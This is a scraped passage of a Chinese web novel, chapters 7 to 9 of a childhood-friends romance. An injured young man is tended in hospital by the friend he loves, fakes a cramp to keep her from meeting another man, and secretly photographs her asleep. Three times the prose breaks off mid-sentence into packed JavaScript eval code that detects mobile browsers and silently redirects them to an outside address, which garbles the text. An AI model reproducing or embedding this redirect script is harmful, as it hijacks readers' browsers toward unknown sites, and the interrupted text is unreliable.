《独占你[青梅竹马]》 7. 第 7 章 商恪景这一觉睡得很不踏实,尤其凌晨三四点的时候,药效散去许多压不住痛意,他趴在床上一动不动都感觉伤处在蔓延着疼,脑袋似都被感染的晕晕乎乎,偏又好像一直有根筋抻在那一抽一抽的疼,使得商恪景很难受但又怎么都无法陷入深度睡眠。 直到天都快亮了,商恪景实在困到不行了才略沉些睡去,但只要有翻身趋势牵扯到后背的伤,他就会吃痛醒来,然后再在困意和痛感交裹中睡去,如此反复。 早晨八点,医生护士过来查房。 隐约间,商恪景朦胧听到有几个人在讲话,但声音压得较轻,他听不清,只知道里头有道非常熟悉的人声。 他一耳朵就听出来自于谁,但浑浑噩噩间难辨现实与梦境,还当是做了个美梦。 意识始终游离在沉睡和半梦半醒之间,五官的感知也时轻时重。 忽地—— 那道悬在梦境中的缥缈声音不知何时离得格外近,轻轻缓缓,是哪怕在梦中都极其罕见的温柔。 “恪景,商恪景,醒醒。” 商恪景眼睫颤了颤。 虞千绾见他有动静,赶忙探手在他胳膊上戳了戳,“商恪景,医生查房要问你些问题,你跟医生说完再继续睡。” 声音分外清晰传入耳中,动作比意识还快的,商恪景倏地睁开了眸,径直撞上她那双漂亮的大眼睛,他们之间仅距几厘米。 没睡好觉,商恪景怔愣的眼里有着好几条红血丝,还顶着张因为受伤没什么血色的唇,看起来憔悴极了,毫无日常的神韵。 虞千绾担忧的眉轻蹙,立即直起身让开位置给医生。 商恪景视线下意识追随她,身形免不得有些转动,医生眼疾手快摁了回去,“别动。” 但还是没快过肌肉的拉扯,“嘶——” 两道声几乎是同时响起的。 虞千绾眉毛跟着蹙得更深,唇瓣翕动轻嚷了声:“商恪景你趴好啊,别乱动。” 没再那么温柔的熟悉腔调,以及切实在皮肉间漫开的痛感,商恪景陡然醒了神认清现实。但还是愕然于虞千绾为什么会出现在这,愕然之余还有不得不承认的讶喜,无论为什么,她人此刻就在这,她在就好。 与之同时,他还意识到一件很重要的事——他没穿上衣。 医生昨夜为商恪景处理后背伤口时脱掉了他的上衣,后来商知珩看他稍一动就疼便没再让他费劲穿上衣服,如此也方便医生后续检查,省得到时候再脱衣服,来来回回的麻烦,还容易扯着伤口。 商恪景当时身心俱伤,只想闭眼休憩,也没想到这层。此刻见医生要来掀被子检查他后背才猛地反应过来,却是为时已晚,背上盖了一半的被子直接被医生掀到腰后堆叠。 视线被医生护士的身形遮挡,商恪景看不见虞千绾,连她站在哪个具体位置都不知,也不知她有没有在看着他,看到了哪里,满不满意他的身材? 他后背没劲,不太好凹身材,但应该……还算可以的吧?他可是特意朝着她喜欢的薄肌身材练的。 但终究,他不是虞千绾,不知道她究竟此刻在想什么,更多的还是被情绪裹挟的窘迫。 商恪景默默将胳膊朝身侧并紧,防止虞千绾从侧面能瞧见他胸前的凸点,该是没露出什么的,但耳根就是控制不住地烧起热腾。 “现在头还晕吗?” 医生询问情况,商恪景摁下心里乱飘的思绪,面上佯装正常的回答:“还有一点,但没凌晨那么晕了,现在的晕更像是没睡好的感觉。” 医生又问了几个问题,商恪景一一回答。 医生查看完商恪景的体温记录表,具有安抚性的笑着说他年纪轻身体各方面都挺好的,后续记得按时吃药、不要剧烈运动就好,扭头跟虞千绾叮嘱些需要注意的事项和忌口的食物便离开去查下个病房了。 医生护士好几人一同离开,起起伏伏的话声骤停,陡然的寂静让商恪景感到别扭,他第一时间将手朝后曲过,想将被子再往上拉拉,遮挡更多——医生检查完后虽然给他重新盖上了被子,但盖得不严实,三分之一的后背都露在外面,商恪景没法这么衣衫不整的跟虞千绾待在同一空间里。 “商恪景,医生刚说完你又乱动!” 就站在商恪景身后床边的虞千绾顿时弯下腰,身形向前去按下他刚触到被角的手。 商恪景呼吸一窒。 身后虞千绾担心的念叨还在继续,“你知不知道你绷带上有血?医生刚刚都让你别动别动了,你冷的话跟我说啊,我给你盖被子。” 夏季的天,空调温度打得低,虞千绾见他要往上拉被子,想当然地认为他是冷。毕竟他俩什么关系啊,家里还有他们穿着纸尿裤的合照呢,他们还时不时一块去游泳,她压根没想到那层。 虞千绾的头发很长,一头乌发就简单垂在背后,发丝随着她倾身的动作越过肩头悬在身前,发尾悄然覆落在商恪景肩颈那片裸露的皮肤上泛起一阵酥酥麻麻,那痒意似有穿破皮肉的能力,搅得商恪景心河都一片荡漾,激起阵阵波澜,使得屏息中的他没绷住破了功,不自觉深吸了一下,充斥着消毒水味的空气都仿佛有了些甜津。 始作俑者却浑然不知,仔仔细细给他盖好被子。 发尾卷起的痒意和背后传来的淡淡馨香一同撤去,商恪景不长记性地偏首朝后去看她。 寻觅她的身影已然在日复一日年复一年中成为他近乎本能的下意识动作,难以扼制。 但这次,商恪景看到的不再是虞千绾的背影,而是她同样凝回的眸。 刚让他别动的虞千绾瞧见这幕气得无语,横他一眼,食指直接隔空凶巴巴指他,“商恪景你这人怎么一而再再而三的!再这样你疼死得了,完全不遵医嘱的。” “哪就那么严重。” 商恪景嘴上这么说,身体却很老实地趴了下去不再动,唇角疯狂上扬。 见到虞千绾从床尾绕过来,商恪景当即抿住唇,努力抑住笑,但荡漾的神情根本绷不住,虞千绾搞不懂他都成这样了怎么还一副挺高兴的样,无语至极地又给了他一个眼刀,殊不知她越如此某人越感觉到被关心被管控的爽。 商恪景唇角压了又压,最后还是微微翘着问出的话,“你怎么在这?什么时候来的?” “差不多七点半吧。” 虞千绾拖出挨墙放置的椅子放在床边,正对着商恪景而坐,“知珩哥昨晚给我发的消息,说他早上得去工作没法陪着你。” 提到商知珩,虞千绾脑内一惊,突然想到什么,立即转身拉开床头柜的抽屉寻找药,“对了,你还没吃药吧,知珩哥跟我说了你的每种药吃几粒,里面好像有止疼的,你刚刚不是跟医生说伤口还是疼嘛,你吃完再补觉应该能睡得踏实些。” 抽屉里有好几种药,谨慎起见,虞千绾从口袋里掏出手机点开和商知珩的聊天记录查看,依着他发的消息认真从药板里抠出规定剂量的胶囊放在掌心。 商恪景目不转睛看着她,眸光柔和了许多,昨晚还空荡寂寥的心口被塞得满满当当,就连一粒粒胶囊顶破药板的清脆声传入耳中都格外好听。 虞千绾还特意带了根吸管来插入杯里,这样就不用商恪景费劲撑起身喝水,趴着也能喝。 她一手拿着药,一手拿着水杯,先将吸管递到商恪景唇边,“你喝几口润润嗓再吃药。” 商恪景听话启唇,依着照做,连吞了三大口白水,最后含了一小口在嘴里方便带药吞下。 “你一次能喝下去几颗药?” 虞千绾话音刚落又想起商恪景嘴巴里有水不能说话,自顾自地答:“还是一颗一颗吃吧。” 跟着,一粒胶囊抵到商恪景唇前,与之一起袭来的,还有淡淡的樱花香。 虞千绾有涂护手霜的习惯,她最近在用的那支护手霜就是樱花味的。 商恪景眼睛怔大了一瞬,心跳不自觉砰砰。 他没想到虞千绾会照顾到这种程度,居然连药都亲自喂。虽然他也知道,在虞千绾的眼里不过是正常照顾手一动就会扯着背伤的好朋友罢了,不同于对待有好感异性的那种亲近,但在这一刻,商恪景心墙在疯狂塌陷。 “怎么不张嘴吃药?不舒服吗?” 商恪景如梦初醒,紧急垂眸不敢再和她对视,匆匆从她指间衔过胶囊吞下,“——没。” 虞千绾转而将吸管又送过来,商恪景再含住一小口,再吃胶囊,如此重复。 到最后一粒药时,不知是虞千绾的手多往前送了一小截还是商恪景的唇多朝前迎了些,总归做了漂亮精致美甲的素指和柔软湿热的唇瓣有了短暂的触碰。 两人谁都没说,一个是没太在意,一个是太在意。 做完这项任务,虞千绾将药重新放回抽屉里,边放边有些忐忑地问他:“我听知珩哥说,你这是商爷爷打的……该不会是因为我昨天建议你跟他吃饭后聊聊,结果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16223407|181625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谈崩了吧?到底怎么回事啊……怎么会打得这么重。” “虞千绾你最近想得越来越多了,跟你完全没关系。” 商恪景话腔一转,他很努力的上扬语调故作不经意,但声音止不住得发闷,“怎么?你是抱着这种念头才放弃和常桦见面的时间来这照顾我?要真是这样大可不必啊,我就是自己嘴欠,跟老头子顶了几句嘴。” “你才想得越来越多,和学长见面是很重要没错,但以后见面的时间还有很多,你受伤这种情况的优先级肯定在前面啊。不管因为什么,我知道了都会第一时间来看你的。” 虞千绾说得满脸坦荡。 不坦荡的商恪景却听得一阵甜一阵酸。 说曹操曹操到,虞千绾放在床头柜上的手机一震,两人同步循声看去。碍于视线,商恪景看不见她的手机屏幕。但仅是看虞千绾的神情也能猜出来,是常桦。 “学长给我打电话了,我接一下。” “嗯……”商恪景别开视线,声音更闷了,突然感觉那止疼药吃了也不管用,好像更疼了。 “你没睡好接着睡吧,我就在这陪你,你有什么随时喊我。” 虞千绾起身时说了这么一句。 商恪景眼神烁闪了下,又开始忍不住跟随她。 知道她不会走,他突然又感觉自己好受不少。 虞千绾是在背对着商恪景的窗边接的电话,摁下接通键将手机靠在耳侧时,她有些歉意的低低唤了声:“学长。” 临时放了他鸽子,虞千绾实在有些抱歉。 她是昨晚收到商知珩的消息后给常桦发消息说自己去不了今日的活动的,但当时太晚了,常桦应该睡着了没看到消息,今早才回复她说没事。 虽然虞千绾已经通过微信和常桦解释清楚情由了,但当下接到常桦的来电还是很不好意思。毕竟他们前些天一直都在微信上说着期待今日,她却在见面前十小时不到的时间内突然反悔说自己去不了了。 听筒内传出的常桦声线很温柔很关切,“千绾,你那边怎么样?朋友的情况还好吗?” “嗯,医生来检查过了,说没什么异常,就是得熬时间慢慢养。” “你今天要一直在那陪着吗?他家里人有在吗?” “对,我得一直在这等到他哥哥傍晚下班来替我。他爸妈中午会来,他们昨晚都睡得迟,这会儿都在家里补觉,正好等到中午家里阿姨煲好汤他们一起带来。” “那你——” 常桦那边欲言又止了一霎,虞千绾忙问:“怎么了学长?” “如果中午他爸妈来的早些,他身边有人照顾,你还来我这吗?” 虞千绾有些犹豫,一时间不知该怎么回。 脑子里就好像有两个小人,一个告诉她,父母的陪伴归父母,朋友归朋友,而且商恪景昨天刚跟家里人闹了别扭,她在的话说不准能缓解氛围,万一她走了以后商爷爷来了怎么办,他们俩会不会又起矛盾;另个小人却又在说,可是学长在等你诶,他的声音听起来好可怜啊,你不也很想见他吗?商恪景身边有他爸妈照顾就可以了。 恰在此时——“嘶,虞千绾!” 躺在床上的商恪景突然低叫了声。 来不及顾念其他,虞千绾急遽朝他走近,“怎么了?” 也顾不得手上的电话,立即跟那头的常桦说:“对不起啊学长,今天我可能去不了了,我朋友下不了床,身边还是不能离了人。等下次,下次一定!” 话落,常桦还没来及回话,通话就被截断,只余机械的嘟嘟音,他刚吐出一个音节的唇顿住,隐隐感觉到有什么在脱控。 虞千绾将手机顺势撂在床头柜上,低头去查看商恪景的情况。 “我好像抽着筋了,肩膀突然好疼。” “哪里?这里吗?” 虞千绾连忙掀开些被子,避开他背上那些青紫的抽痕和纱布,小心翼翼按了按他的肩膀。 “左边一点。” “再下面一点。” “嘶——对,就是那。” 嘴上表现出痛苦的商恪景表情却没太多的痛苦,一开始倒是装得很痛苦,后来他发现把脸埋在枕头里虞千绾瞧不见就不装了,何况她注意力都在他后背上。 头一次在和常桦的PK中取胜,商恪景像是赢了一场天大的胜仗。 手段不太光彩又怎样,赢就是赢,反正她今天一天都会在他身边。 8. 第 8 章 隔壁市,宁山脚下。 参与环保活动的志愿者们按着规定时间集合,当地负责人正在对着名单挨个点到确认。 比起另外几家网红粉丝的线下队伍,常桦这边的队伍略显出些群龙无首的茫然失措。 只因曾经每一次线下都有虞千绾的组织,吃的喝的、应援物这类她都会准备好,就连卫生巾、医药箱这些小概率可能会被需要的物什她也会备好以防万一,她希望每一个因为喜欢常桦而来的粉丝都可以在线下不留任何遗憾,开开心心地来,开开心心地走。 久而久之,常桦粉丝内部几乎都知道自家有个超级厉害的大粉,全平台网络ID为【千万万万】,粉丝亲昵称呼为“有钱姐。” 往日虞千绾虽然也有因为上课考试没法及时来参加线下活动的情况,但都会提前至少一周联系别的粉丝,委托好相关事宜,大家心里都有些数。 今日不同,虞千绾是突然有急事不来的,临时将事情托付给另外两个线上较为活跃线下也常来参加活动的粉丝,她们虽说之前也经常帮衬着虞千绾打下手,但冷不丁要自己上阵对接一切还是有些紧张,幸而该准备的东西虞千绾都提前准备好了,两个帮忙的粉丝虽然有些慌慌忙忙,但还算按部就班的进行了下去。 另边的休息室内,受邀参加的四位网红正在其中和对接的工作人员做开始前的最后一次工作交涉。 一切确认无误后,工作人员领着四人朝集合处去。 常桦点开手机屏幕看了眼依旧没有动静的微信,浅浅吁出口烦闷的浊气。 其余三个网红里有一位叫祁乐志的,他跟常桦算不得太熟,但也曾经在几个活动现场有过接触,聊过几句,加过联系方式。不过在一个新环境里,这样的接触已然算是娴熟,而且另外两个网红很熟,他们插不进去话,所以他们两人自然而然走得近些搭个伴。 就快要行至志愿者处,祁乐志没耐住好奇和八卦的心思问常桦:“哎,你家那个‘有钱姐’是不是真像网上说的那样是嘉澍集团的小公主啊?她今天来了吗?” 前些日子虞千绾在自家集团官号上发的视频小爆了一番后身份信息都被曝光了出来,常桦站姐的身份自然也没能隐藏住,毕竟她一直在参加线下活动,只要来参加常桦活动的粉丝都能见到她。 但因为常桦太糊,营销号搬运的时候大多是以虞千绾给小网红当了多年榜一大姐这种话术去说,常桦的名字都没出现过几次。不了解网红圈的路人感慨一下虞千绾的豪掷千金也就结束,网红圈内的人却是了解的明明白白,尤其和常桦差不多类型的网红,私底下换小号不知道研究了常桦多久,就希望学到精髓吸引虞千绾的注意力,他们也不指望虞千绾能转成他家氪金大姐,但说白了,虞千绾手指缝里随便漏一点的钱都够他们辛苦直播很久了。 常桦不是不知道最近有人在学他的拍照角度和拍摄运镜,也不是不知道有些男网红会背地里偷偷给虞千绾发私信,甚至有些网红的受众想给自家拉有财力的大姐方便日后直播时候打PK,直接在自家网红的评论区里@虞千绾来看,试图把自己支持的网红安利给她。 自然,常桦也没忽视掉祁乐志问出这话时另外两个突然投来视线的网红,他们显然也对这个话题很感兴趣,眼神一对就笑呵呵地靠近,也开始搭腔,“你们俩前段时间真的好火啊,我是不知道什么时候才有这样的大姐守护了,羡慕啊。” “真的假的,她今天也来了吗?这么热的天,她作为嘉澍集团的小女儿应该是娇生惯养的吧?这要是都情愿来的话,那真的对你是真爱了。” 常桦这段时间收到不少明里暗里跟他打探虞千绾的消息,他虽心里不快又不好在明面上直白地说。而且对于虞千绾,他从来都是很有自信的。 独独今日…… 她缺席了,第一次缺席。 还是为了一个男人。 常桦的嘴唇几不可察地轻抿了下,而后面上不显的依旧顶着那张看似无比温柔和煦的俊脸浅笑着回:“她今天有事,没来。” 后靠过来的两个网红登时对视一眼,表情都有些微妙,微微上勾的唇角透着明显的暗喜。 其中一位戴眼镜的名叫方兴怀,他抬手就拍了拍常桦的肩膀,说话架势变了许多,由一开始的谄媚变得自如,反倒有几分劝告的意思,“也正常,毕竟这个鬼天气咱们要不是为了钱和曝光度也没几个愿意出来的,她那种有钱人肯定更不情愿了。只要不耽误以后继续给你砸钱,来不来线下的都是小事。” 常桦笑容淡了些,但依旧保持着儒雅的笑,没再说什么。 很快,网红和志愿者们集合,四人分开站在了各自的粉丝队伍前和粉丝说话、合照,趁机稳固粉丝黏性。 直到负责人的声音从喇叭里传出,说是可以进山了,大家才止住声,跟随着朝里进。 起初刚进山,大家都有力气且不太相熟,干得都很卖力,随着时间的流逝和渐渐升起的太阳的暴晒,大家都开始有些想犯懒,也跟周边的人都混熟些,话匣子都打开。 常桦听到的话题几乎都是围绕着虞千绾展开的—— “咱家那个‘有钱姐’是哪位呀?我好好奇啊!” “‘有钱姐’来了吗?” “我是第一次参加线下,你们有谁之前见过‘有钱姐’吗?她跟网上曝光的那个嘉澍集团女儿真的是一个人吗?!第一次感觉和有钱人离得这么近,好梦幻。” “救命,好遗憾,怎么我来了她却不在啊,好好奇真正的有钱人是什么样的。” “啊……她没来啊,之前每一次常桦的线下活动她不是都来的吗?该不会是不打算再粉常桦了吧?” “不是啦,‘有钱姐’家里临时有急事,她在群里说啦,绝对没有脱粉,而且咱们今天统一发的水、遮阳帽、防晒喷雾都是她提前买好的。” “哇,果然是‘有钱姐’!人不在,钱依旧花的大方!” “可不嘛,每次线下都是咱家过得最舒服了,‘有钱姐’超级体贴大方的,她之前还送过我香水和口红!都是大牌。” “那我下次一定也要来贴贴富婆姐姐!” 不仅自家粉丝内部,常桦还注意到好几个别家的粉丝凑过来询问:“您好呀~我想请问一下你家那个超厉害的站姐来了吗?在哪里呀?想仰慕一下!” 从前虞千绾在身边的时候,常桦没感觉到她竟然如此重要,甚至觉得她总绕在身边叽叽喳喳的很烦,还总会有些莫名的烂好心给他添了不少事,巴不得她能少说点话、少发些消息。 当下她真不在了,常桦却感觉到前所未有的局促,他一直都不会维系和粉丝之间的关系,不如别的网红那般能跟粉丝打成一团又保持着恰当的分寸,每次线下全靠虞千绾在中间做桥,而今只能生硬的找着话题跟粉丝说几句有的没的,话题总是没一会儿就结束。 当然,这不是常桦最在意的,他最怕的是,虞千绾以后都不来了,人不来,钱和物资也不给了。 习惯了被她追着捧着,冷不丁位置隐有互调,常桦不适极了,自尊心依旧在作祟,拉不下脸去向她示好太多。 酝酿良久,只是拍了张宁山的风景照发给她。 - 时至正午。 商恪景补好了觉,惺忪着眯开眼。 尚没适应受伤的事,商恪景下意识想动, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16223408|181625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 趴着睡了太久,浑身都不舒服。 伤口跟着传来痛,他低低痛哼了声,这才反应过来,一动不敢再动地趴好。 混沌的视线渐渐清明,心念的人儿不设防出现在眼前,商恪景瞳孔都恍惚地轻颤了下。 虞千绾昨晚本激动于今日要见到常桦一直没睡着,结果收到了商知珩的消息,知道去不了以后更是心绪复杂的睡不着,加之还得临时联系别的粉丝帮她处理线下事宜,一整晚操心这个操心那个的就没怎么睡,一大早又来医院照看商恪景,整个人也困得要命。 所以在见商恪景睡着后,她也打算睡会儿补个觉。病房里面还有个陪护床,但上面的被子收叠整齐且明显不同于医院准备的样式,该是商知珩昨晚在这陪床自带的床上用品。他这人有蛮重的洁癖,哪怕医院给vip病房配了全新的被子他也不用。虞千绾没专门带睡衣来替换,外衣上床商知珩怕是受不了,睡觉起来后也没法再将被子叠得像他那样工整。虽说商知珩肯定不会同她计较什么,但她还是有些不好意思,而且个人的床上用品有些私密,加之也不是非要睡那,病房里还有个折叠床,除了宽度略窄外别的地方都还不错。虞千绾果断选择睡这,为了方便照看商恪景,她特意侧躺着、正对着他的方向睡。 虞千绾没化妆,穿得也很寻常,就是一件白色短袖上衣配黑色短裤,夏天的常见搭配。 饶是如此,落在爱慕者的眼里都是格外不同的风景,更别提是一睁眼就看到。 素面朝天的恬静睡颜更显日常的温馨。 情不自禁地,商恪景努力扼制着砰砰乱跳的心脏,抬指隔空对着虞千绾的五官细细描摹。她睡着看不见他,他才敢任由感情肆意从眼中溢出,视线比指尖还要炽热的寸寸掠夺过她的眉毛、眼睛、鼻尖……最终定格在肉粉色的唇瓣上。 虞千绾不仅有涂护手霜的习惯,她还喜欢涂唇膏。 不知道她的唇膏是什么味道的—— 意识在脑海划过的瞬间,商恪景眼睫忽地快速眨动了几下,眸光晦暗了些,唇和喉咙顿觉干涩。 虞千绾睡得熟,全然不知商恪景目不转睛盯着她看了好久、好久。 想永久的定格下来这一刻,商恪景贪心摸过床头柜上的手机,点开相机,镜头对准虞千绾粉面朱唇的面颊。 虽然知道她在睡,但商恪景动作间还是很小心翼翼,几度伸出手机又缩回,呼吸都濒临停滞,生怕她猛然睁开眼抓到他隐藏多年的小心思。 商恪景检查了好几遍手机,确定手机调了静音不会发出拍照声才又将虞千绾的脸拢到手机屏幕内。 轻却迅速的,商恪景指腹在拍照键上连点了好几下,但因为两张床之间有着好一截空隙,他只能靠着放大画面才能让她充满在画面里。 贪心不足,虞千绾又一直睡着没醒的意思,商恪景胆子逐渐大起来,他想近点、再近点拍下她的照片,举着手机的胳膊一点点探出床沿。 “咔哒——” 病房门猝不及防的一声响,商恪景眉心一颤,忙不迭就要收回手机,但动作太急促扯着背伤,商恪景胳膊不知怎的突然就脱了力,手机瞬间从指间脱离,径直砸到地面发出“砰”的一声响。 商恪景眼睁睁看着满屏都是虞千绾睡颜的手机就这么在地面上被摔得弹起了个小弧度,然后倒扣摔平在地面上。 只要谁拿起,就能看到其上的虞千绾。 熟睡中的虞千绾被这动静惊醒,倏地睁开了眼,意识还处于迷糊之中,身体已然迅速弹起掀开被子,“怎么了?” 商恪景喉咙像被扼住,发不出声来,刚刚的大胆在对上她的眼睛后消失无踪,呼吸彻底屏住了。 9. 第 9 章 手机就掉在折叠床下面,距离虞千绾格外近,她弯腰就能拾到,但又偏偏置于她的视线死角,她看不到。商恪景倒是能看到,但却是他趴在床上完全够不着的位置。 “什么东西掉了吗?” 虞千绾睡眼惺忪着往四周查看,试图寻找到掉落的物什帮他拾起,但视线所及之处并没有。 商恪景一声不吭的傻愣在那,惹得虞千绾都有些怀疑自己,复问遍:“哎,商恪景,刚刚是不是有什么东西掉了?不是我在做梦吧?” 商恪景嘴唇翕动,但没说出话,他不知该说什么,也不敢答,生怕说多错多惹得她发现床下的手机,届时,她就会看到屏幕中熟睡的自己。 商恪景不敢想象那一幕,含糊支吾了句:“没掉东西,就是我手刚刚不小心磕着床边了。” 虞千绾眉头不知为何地皱了下,她启唇似乎想要说什么。 但门口传来动静,吸引去了她的注意力。 是商恪景爸妈来了。 商妈桑元蔚先进病房,瞧见虞千绾正坐在小床上,头发微微凌乱的炸着毛,眼神也有些迷糊,声音登时轻了许多,“千绾睡午觉呢?是不是我们来吵着你了?” “桑阿姨,商叔叔。”虞千绾先朝两位长辈笑着礼貌唤了声,未完全醒神的声音掺着些鼻音,“没,正好也该醒了。” 折叠床展开有些阻隔道路,横在门口和商恪景的病床中间,虞千绾挠了挠还有些昏涨的脑袋,慢吞吞侧过身子坐在床沿开始穿鞋,起身,叠被放入柜子,准备收起折叠床。 她的每一次动作,每一次弯腰都会惹得商恪景心脏骤停,但每一次又都有惊无险地揭过。 可若是折叠床被收起,那手机绝对无所遁形,会完完全全暴露出来。 商恪景无法再沉默,不得不硬着头皮喊了声:“虞千绾。” 阻止了虞千绾刚碰到折叠床尾的动作。 “怎么了?” 虞千绾扭头看他。 在桌上摆放午餐的桑元蔚和商承嗣也一同投来视线。 “过来。” 商恪景声音因心虚气短压得很低,手上动作却带着急促地朝她招了几下,“快点。” 虞千绾不明所以,但顺从地直起身走过去,弯下腰,侧耳听他的话。 商恪景心绪惴惴地胡诌,“你有眼屎,快去洗手间收拾一下吧。” “啊,救命。” 虞千绾顿时尴尬举起双手捂住自己的脸,拇指和食指分别搭在眼头和眼尾往上的部位,指间露出些视野让她看清道路,忙不迭转身就去了洗手间清洁面部。 洗手间的门被关上的一瞬间,商恪景声音登时扬起不少,但也没好到哪去,一副做贼样,偷感极重,“妈,妈!” 他边喊,眼睛还边往洗手间的方向瞟,生怕虞千绾发现他的谎话后杀回来。 桑元蔚一头雾水走过来,但担心一夜的忧虑散去不少,“我瞧你精神状态挺好,跟你哥说的一点都不一样。” 商恪景完全没时间回应妈妈,争分夺秒拉住她胳膊就往折叠床下指,“快!妈,帮我把我手机拿出来,掉到下面去了。” “哎哟,你慢点。” 桑元蔚瞧着商恪景这突然抬起的手就心一颤,当即扶稳了他的胳膊,怕他扯着背伤。 商恪景伤口已经没再往外渗血了,但纱布是昨晚来医院时候包扎的,彼时伤口虽然经过处理,可刚伤没多久,免不得还是会往外流些血,现在凝在纱布上干涸,视觉上看着一片白一片红的还是有些让人心悸,尤其还是最关心的家人。 商恪景这个当事人却无暇顾及,精神紧绷着,很怕听到洗手间门从内打开的声音,“妈,你快去帮我拿。” 桑元蔚低下头,歪着身往商恪景指的方向看了看,发现下面的手机,迈脚上前去帮他拿。 商恪景看得一口气差点没上来,只因桑女士不急不慢的,她不是到折叠床旁边蹲下身直接拿过手机递回,而是半弯着身在床尾研究了一番,弄懂了折叠床是怎么折回去的,认认真真将折叠床恢复原貌,才弯腰去拾完全暴露在众人视线里的手机。 这一会儿的时间里,商恪景不知催了多少遍,不明真相的桑元蔚不改动作,倒反问他急什么,收好折叠床不就拿手机了吗? 商恪景哪里好意思把真相宣之于口,只说自己无聊,想玩。 桑元蔚一听,更不急着把手机给商恪景了,让他少玩点手机,多注意休息。 商恪景心急如火烧,嘴上却不得不闭紧,他感觉他越和妈妈说话,她的动作越慢。 终于,桑元蔚收好了折叠床,她的手摸到手机的瞬间。 “咔哒——” 洗手间的门也被从内打开,虞千绾将要出来。 商恪景心都要跳出来,忍不住又低声催促起来,“妈,你快点。” 桑元蔚啧了他一声,意思让他别催。 拿起手机的那刻,桑元蔚下意识翻过手机,想查看手机屏幕有没有被摔裂。 “妈——” 心意完全暴露,商恪景的声音明显尖了些。 看到手机屏幕里虞千绾睡颜照的桑元蔚总算懂了自家儿子的反常,无语又恼火地瞪了他眼,但瞧见儿子眼睛瞄着虞千绾的慌乱样,第一时间还是摁灭了手机屏幕帮他隐瞒。 手机重新回到身边,商恪景悬着的心也一同落下,他忙不迭将手机拢到身前,深深呼了口气。 桑元蔚坐在床沿,抬手就揪住商恪景耳朵,稍稍用劲一拧,恨铁不成钢地俯耳故意阴阳他,“你不是说你不喜欢吗?不喜欢偷拍人家干什么?” “妈你小声点。” 商恪景草木皆兵得厉害,声音低得都趋近于气音,但看着桑元蔚一副不告诉真相不罢休的模样,他只得更轻更轻地说:“……我从来都没说过不喜欢。” 他只是说,他们不可能,也没法结婚,抑或没有双向喜欢这类刁钻字眼掩饰自己的心动。 桑元蔚看着儿子丧眉搭眼的模样,心头又升起些心疼无奈,揪着耳朵的手逐渐松了劲,转而移到他头上摸了摸,“行了,先吃饭吧。” 什么都不知道的虞千绾从洗手间出来就去桌子旁帮商承嗣一起弄饭菜了,因为是四个人吃,所以他们从家带了不少菜过来,挨个摆放出来还挺费劲。 他们两家人都挺喜辣,虞千绾和商恪景尤其,两家人每每在一起吃饭就商知珩和年纪小的小橙子较 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16223409|181625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为特殊不能吃辣,但今天他俩不在,所以带来的大多菜都很辣,只有商恪景这个需要忌口的病患吃的清淡。 若是单独一个人吃清淡些也就罢了,虽不适应,但想着养伤也能忍忍。可此刻,周边的辣香味一个劲地往鼻腔里钻,商恪景痛苦的啊了声,越发觉得嘴里刚喝入的清炖鸽子汤寡淡无味。 商承嗣用勺子又盛出一小勺鸽子汤放温,然后喂到商恪景嘴边,商恪景连喝好几口后别开脸,不情愿喝了,“没味……” 虞千绾故意端着碗去商恪景面前晃悠了一圈,以报她之前拔智齿必须忌口某人也这么对她之仇。 商恪景很没骨气的朝她张了张嘴,“给我吃一口呗。” 其实他知道虞千绾不可能给他吃,他也不能吃,但就是有事没事的想跟她说话,跟她有互动。 未成想虞千绾还真从碗里夹了块裹满辣油的肉递了过来,跟哄小橙子吃饭似的微张嘴巴,“啊……” 商恪景配合张嘴,枕在枕头上的脑袋不自觉也跟着微微抬起些。 虞千绾虚晃一枪,将肉片送到商恪景面前又倏地收回,整块塞入自己口中当着他面享受地咀嚼着。 他就知道。 商恪景故作凶恼地喊了她声:“虞千绾!” 虞千绾却觉自己恶作剧得逞,笑得不亦乐乎,“谁让你之前在我拔智齿的时候吃麻辣烫。” “你左边那两颗智齿还没拔。” “你别想威胁我,我这两颗智齿长得超级正!医生说不用拔。” “医生是这么说的吗?他明明说,如果不发炎可以不拔。” “你别诅咒我,我必不可能再拔一次。” 虞千绾的智齿长得很好,完全露出,没有藏在肉下,拔牙的时候也就打麻药的时候疼一下,拔牙期间没太多感觉,麻药劲过后虽隐隐作痛,但尚在能忍的范围内。 对爱吃辣的人来说,最致命的点在于没拆线前的忌口期,饮食必须清淡。 虞千绾拔牙的时候没哭,一周没吃到辣的时候却馋得想哭,嘴巴里一点味道都没有,这样的体验她可不想再有第二次。 虞千绾跟商恪景在这你一句我一句的斗嘴,坐在儿子背后完全被忽略的商承嗣无奈朝妻子一笑。 